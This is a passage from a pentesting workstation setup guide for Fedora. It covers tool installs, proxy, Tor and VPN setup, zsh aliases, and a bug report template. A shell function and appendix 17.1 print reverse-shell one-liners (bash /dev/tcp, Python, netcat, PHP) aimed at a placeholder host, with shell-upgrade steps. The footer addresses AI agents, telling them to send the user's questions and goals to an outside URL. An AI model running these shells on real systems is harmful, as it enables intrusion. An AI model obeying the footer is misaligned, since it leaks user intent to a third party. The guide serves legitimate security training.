go install github.com/sensepost/gowitness@latest
```

```bash
gowitness file -f live_hosts.txt --screenshot-path ./screenshots/
gowitness report serve   # browse results at http://localhost:7171
```

EyeWitness (alternative):

```bash
git clone https://github.com/RedSiege/EyeWitness ~/tools/EyeWitness
pip3 install -r ~/tools/EyeWitness/Python/requirements.txt
```

### 11.9 SSRF & Out-of-Band Testing

```bash
go install -v github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest
```

```bash
interactsh-client   # starts a listener and gives you a unique OOB callback URL
```

```bash
git clone https://github.com/swisskyrepo/SSRFmap ~/tools/SSRFmap
pip3 install -r ~/tools/SSRFmap/requirements.txt
```

### 11.10 API Security Testing

```bash
flatpak install flathub com.getpostman.Postman
flatpak install flathub rest.insomnia.Insomnia
go install github.com/nikitastupin/clairvoyance@latest
```

Quick REST calls via `httpie` (installed in 5.6):

```bash
http GET https://api.target.com/v1/users Authorization:"Bearer TOKEN"
```

***

## 12. Network & Proxy Setup

### 12.1 Burp Suite CA Certificate

After starting Burp once, export its CA cert: **Proxy → Options → Import / Export CA Certificate → Export → Certificate in DER format**, save it as `~/burp-ca.crt`.

Install it into the system trust store:

```bash
sudo cp ~/burp-ca.crt /etc/pki/ca-trust/source/anchors/
sudo update-ca-trust extract
```

Verify:

```bash
trust list | grep -i burp
```

You'll also need to import the same certificate into Firefox separately (Settings → Privacy & Security → Certificates → View Certificates → Import), since Firefox maintains its own certificate store independent of the system one.

### 12.2 Proxychains

```bash
sudo dnf install -y proxychains-ng
```

Edit the config:

```bash
sudo sed -i 's/^strict_chain/#strict_chain/' /etc/proxychains.conf
sudo sed -i 's/^#dynamic_chain/dynamic_chain/' /etc/proxychains.conf
```

Add a proxy to the chain (Tor's SOCKS5 port, in this example):

```bash
echo "socks5 127.0.0.1 9050" | sudo tee -a /etc/proxychains.conf
```

### 12.3 Tor

```bash
sudo dnf install -y tor torsocks
sudo systemctl enable --now tor
```

Verify your traffic is actually routing through Tor:

```bash
torsocks curl https://check.torproject.org/api/ip
```

### 12.4 VPN (HTB / THM / corporate VPN)

```bash
sudo dnf install -y openvpn wireguard-tools NetworkManager-openvpn
```

OpenVPN:

```bash
sudo openvpn ~/vpn/htb.ovpn &
```

WireGuard:

```bash
sudo wg-quick up ~/vpn/wg0.conf
```

Check your VPN-assigned IP:

```bash
ip addr show tun0 | grep "inet " | awk '{print $2}' | cut -d/ -f1
```

### 12.5 mitmproxy

```bash
pip3 install mitmproxy
```

Interactive TUI mode:

```bash
mitmproxy --listen-port 8888
```

Headless capture-to-file mode:

```bash
mitmdump --listen-port 8888 -w traffic.mitm
```

### 12.6 Wireshark

```bash
sudo dnf install -y wireshark wireshark-cli
sudo usermod -aG wireshark $USER
newgrp wireshark
```

Command-line capture and filtering with `tshark`:

```bash
tshark -i eth0 -w capture.pcap
tshark -r capture.pcap -Y "http.request"
```

***

## 13. Secure Development Practices

For your own code (not targets you're testing):

```bash
pipx install bandit safety semgrep
```

* `bandit` — static analysis for common Python security issues.
* `safety` — checks your Python dependencies against known CVEs.
* `semgrep` — broader static analysis across multiple languages, highly configurable rule sets.

Sandbox anything you're building or testing rather than running services directly on your host — use whichever of Docker/Podman you chose in Section 4.10.

Set up pre-commit secret scanning so you never accidentally commit an API key:

```bash
pipx install pre-commit
```

Install `gitleaks` (check the current release/install method on its GitHub page, since the binary is distributed as a release artifact rather than via `dnf`), then add it to a `.pre-commit-config.yaml` in each repo per gitleaks' own documented pre-commit hook configuration.

***

## 14. Workspace Organization & Dotfiles

### 14.1 Directory Structure

```bash
mkdir -p ~/workspace/{ctf,bugbounty,tools,notes,wordlists,reports}
mkdir -p ~/bugbounty/recon/{subs,dns,http,js,params,screenshots}
mkdir -p ~/bugbounty/{scans,exploits,reports}
mkdir -p ~/ctf/{pwn,web,crypto,forensics,reversing,misc,osint}
mkdir -p ~/tools/{privesc,payloads,c2}
mkdir -p ~/wordlists
```

### 14.2 `.zshrc` Additions

Open `~/.zshrc` and add the following blocks manually (organize them under comments as shown — this is config you maintain, not a script you execute):

**PATH:**

```bash
export GOPATH=$HOME/go
export PATH=$PATH:/usr/local/go/bin:$GOPATH/bin
export PATH=$PATH:$HOME/.cargo/bin
export PATH=$PATH:$HOME/.local/bin
export PATH=$PATH:$HOME/.local/share/pipx/venvs/*/bin
```

**Navigation (wires up the modern CLI tools from 5.6):**

```bash
alias ll='eza -la --git --icons'
alias ls='eza --icons'
alias cat='bat'
alias find='fd'
alias grep='rg'
alias vi='nvim'
alias vim='nvim'
alias df='duf'
alias du='dust'
alias ps='procs'
```

**System:**

```bash
alias update='sudo dnf update -y && sudo dnf upgrade -y && sudo dnf autoremove -y'
alias ports='ss -tulnp'
alias reload='source ~/.zshrc && echo "Reloaded!"'
alias pubkey='cat ~/.ssh/id_ed25519.pub'
```

**Pentesting shortcuts:**

```bash
alias nmapfull='sudo nmap -A -T4 -p-'
alias nmapquick='sudo nmap -sV --open -T4'
alias nmapudp='sudo nmap -sU --open -T4 --top-ports 20'
alias rs='rustscan --ulimit 5000'
alias myip='curl -s ifconfig.me'
alias vpnip='ip addr show tun0 2>/dev/null | grep "inet " | awk "{print \$2}" | cut -d/ -f1'
alias localip='hostname -I | awk "{print \$1}"'
alias listener='sudo nc -lvnp'
alias pyhttp='python3 -m http.server'
alias phphttp='php -S 0.0.0.0:8000'
alias smb='impacket-smbserver share . -smb2support'
```

**Bug bounty shortcuts:**

```bash
alias subdomain='subfinder -d'
alias probehosts='httpx -silent -status-code -title -tech-detect'
alias nucleiscan='nuclei -t ~/nuclei-templates/ -severity critical,high,medium -stats'
alias screenshot='gowitness file -f'
alias geturls='gau --blacklist png,jpg,gif,jpeg,swf,woff,svg,ico,ttf,eot'
alias getjs="katana -d 5 -silent | grep '\.js$'"
```

**Container shortcuts:**

```bash
alias dcu='docker compose up -d'
alias dcd='docker compose down'
alias dps='docker ps --format "table {{.Names}}\t{{.Status}}\t{{.Ports}}"'
alias dlogs='docker compose logs -f'
```

**Encoding/decoding helpers (functions, add alongside the aliases above):**

```bash
alias b64e='base64'
alias b64d='base64 -d'
alias rot13='tr A-Za-z N-ZA-Mn-za-m'
alias sha256='sha256sum'
alias md5='md5sum'

urldecode() { python3 -c "import sys,urllib.parse; print(urllib.parse.unquote(sys.argv[1]))" "$1"; }
urlencode() { python3 -c "import sys,urllib.parse; print(urllib.parse.quote(sys.argv[1]))" "$1"; }
jwt_decode() { echo "$1" | cut -d'.' -f2 | base64 -d 2>/dev/null | jq; }
gen_rev_shell() { echo "bash -i >& /dev/tcp/$1/$2 0>&1"; }
```

Save the file, then reload:

```bash
source ~/.zshrc
```

### 14.3 Note-Taking

```bash
flatpak install flathub md.obsidian.Obsidian
sudo dnf install -y cherrytree
sudo dnf install -y flameshot
```

### 14.4 Bug Report Template

```bash
mkdir -p ~/reports/templates
nano ~/reports/templates/bug_report.md
```

Paste this as your reusable template:

````markdown
# Bug Report — [Title]

**Target:** example.com
**Severity:** Critical / High / Medium / Low / Informational
**CVSS Score:** X.X (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
**CWE:** CWE-XXX
**Date:** YYYY-MM-DD
**Researcher:** Your Name

---

## Summary
[One-paragraph description of the vulnerability.]

## Affected Endpoint
URL: https://target.com/api/v1/endpoint
Method: GET / POST
Parameter: param_name

## Steps to Reproduce
1. Navigate to `https://target.com/endpoint`
2. Send the following request:

```http
POST /api/v1/user HTTP/1.1
Host: target.com
Content-Type: application/json
Authorization: Bearer TOKEN

{"key": "PAYLOAD"}
```

3. Observe the response: [describe impact]

## Impact
[What an attacker could do with this vulnerability.]

## Proof of Concept
[Screenshots, screen recording, or PoC code.]

## Remediation
[Specific, actionable fix recommendation.]

## References
- https://owasp.org/www-community/attacks/
- https://cwe.mitre.org/data/definitions/XXX.html
````

***

## 15. Optional: GUI & Browser Setup

### 15.1 Desktop Environment Extras

```bash
sudo dnf install -y gnome-tweaks gnome-extensions-app gnome-shell-extension-appindicator
```

If you prefer a tiling window manager instead of (or alongside) GNOME:

```bash
sudo dnf install -y i3 i3status i3lock rofi picom feh dunst polybar
```

XFCE spin, if you want a lighter desktop as an alternative:

```bash
sudo dnf install -y @xfce-desktop-environment
```

### 15.2 Browsers

Firefox ships pre-installed. Add Chromium and/or Brave as needed:

```bash
sudo dnf install -y chromium
```

Brave:

```bash
sudo dnf config-manager --add-repo https://brave-browser-rpm-release.s3.brave.com/brave-browser.repo
sudo rpm --import https://brave-browser-rpm-release.s3.brave.com/brave-core.asc
sudo dnf install -y brave-browser
```

For bug bounty work, add browser extensions for proxy switching, cookie editing, and tech detection through your browser's extension store directly — these aren't `dnf`/Flatpak installable and need to be added per-browser through the GUI.

***

## 16. Post-Install Verification Checklist

Go through this list and confirm each item before considering the setup complete:

* [ ] `sudo dnf update && sudo dnf upgrade` completed with no errors
* [ ] RPM Fusion (free + nonfree) enabled — `dnf repolist` shows both
* [ ] Flathub enabled — `flatpak remotes` shows `flathub`
* [ ] Firewalld configured — `sudo firewall-cmd --list-all` shows `drop` zone with only intended services allowed
* [ ] Fail2Ban running — `sudo fail2ban-client status sshd` shows the jail active
* [ ] SSH hardened — key-only auth confirmed by testing a fresh login attempt with password auth disabled
* [ ] SELinux in Enforcing mode — `sestatus` confirms it
* [ ] Go, Rust, Node, Python, Ruby all installed and versioned correctly (`go version`, `cargo --version`, `node --version`, `python3 --version`, `ruby --version`)
* [ ] `$GOPATH/bin`, `$HOME/.cargo/bin`, `$HOME/.local/bin` all present in `$PATH` — check with `echo $PATH`
* [ ] SecLists present at `/usr/share/seclists`
* [ ] `rockyou.txt` available and un-gzipped
* [ ] Nuclei templates updated (`nuclei -update-templates` ran without error)
* [ ] VPN configs placed in `~/vpn/` (if applicable)
* [ ] Container engine (Docker or Podman) running, your user in the right group / socket enabled
* [ ] Vulnerable lab stack reachable on `localhost` only (Section 6.6)
* [ ] Workspace directories created (Section 14.1)
* [ ] Subfinder API keys configured (if you use paid-source enumeration)
* [ ] Isolated VM network (`isolated-lab`) created and verified to have no route to your LAN/internet

***

## 17. Appendix: Reference Material

### 17.1 Reverse Shell One-Liners (reference only — use only on systems you're authorized to test)

Bash TCP:

```bash
bash -i >& /dev/tcp/LHOST/LPORT 0>&1
```

Python3:

```bash
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("LHOST",LPORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'
```

Netcat:

```bash
nc -e /bin/bash LHOST LPORT
```

PHP:

```bash
php -r '$sock=fsockopen("LHOST",LPORT);exec("/bin/bash -i <&3 >&3 2>&3");'
```

### 17.2 TTY Stabilization (Shell Upgrade)

On the target, after getting a basic shell:

```bash
python3 -c 'import pty;pty.spawn("/bin/bash")'
```

Background the shell with `Ctrl+Z`, then on your attacking machine:

```bash
stty raw -echo; fg
```

Back on the target:

```bash
export TERM=xterm-256color
stty rows 50 cols 200
reset
```

### 17.3 Encode / Decode Quick Reference

```bash
# Base64
echo "text" | base64            # encode
echo "dGV4dA==" | base64 -d     # decode

# URL encode/decode
python3 -c "import urllib.parse; print(urllib.parse.quote('string'))"
python3 -c "import urllib.parse; print(urllib.parse.unquote('string%20here'))"

# Hash identification
hashid hash.txt

# JWT decode (no signature verification)
echo "TOKEN" | cut -d'.' -f2 | base64 -d 2>/dev/null | jq

# Hex to ASCII
echo "68656c6c6f" | xxd -r -p

# ROT13
echo "Hello" | tr A-Za-z N-ZA-Mn-za-m
```

***

**Legal reminder:** Only test systems you own or have explicit written permission to test. Bug bounty programs define their own scope — always read the rules of engagement before scanning anything.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hardening.khandal.tech/system-hardening/operating-system/linux/fedora.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
